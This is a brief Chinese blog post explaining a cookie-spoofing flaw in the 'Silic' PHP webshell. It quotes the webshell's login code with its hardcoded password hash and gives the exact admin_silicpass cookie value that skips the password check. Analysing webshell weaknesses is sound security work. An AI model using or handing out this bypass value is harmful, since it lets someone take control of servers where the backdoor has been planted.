MENU

Silic PHP大马Cookie欺骗漏洞

March 14, 2014 • Security

$password="ebd9a3c106064a255aaee28b6eb4f21c"; 

if($_COOKIE['admin_silicpass'] != md5($password)) //如果cookie 里面的admin_silicpass 不等于  md5($password)
{
        ob_start();
        $MSG_TOP = 'LOGIN';
        if(isset($passt))
        {
                $cookietime = time() + 24 * 3600;
                setcookie('admin_silicpass',md5($passt),$cookietime); //问题就是这里  知道了cookied 计算方法完全可以伪造 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if(md5($passt) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');} //看这行 也就是说 $password == $passt 而$password 我们又是知道的 所以就呵呵了
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else{$MSG_TOP = 'PASS IS FALSE';}
&nbsp; &nbsp; &nbsp; &nbsp; }
Root_Login($MSG_TOP);
ob_end_flush();
exit;
}

更加这个$password

设置

cookie admin_silicpass=b571a9d50cea9d7962781be88992b52a 

免密码直接登录了

Archives QR Code
QR Code for this page
Tipping QR Code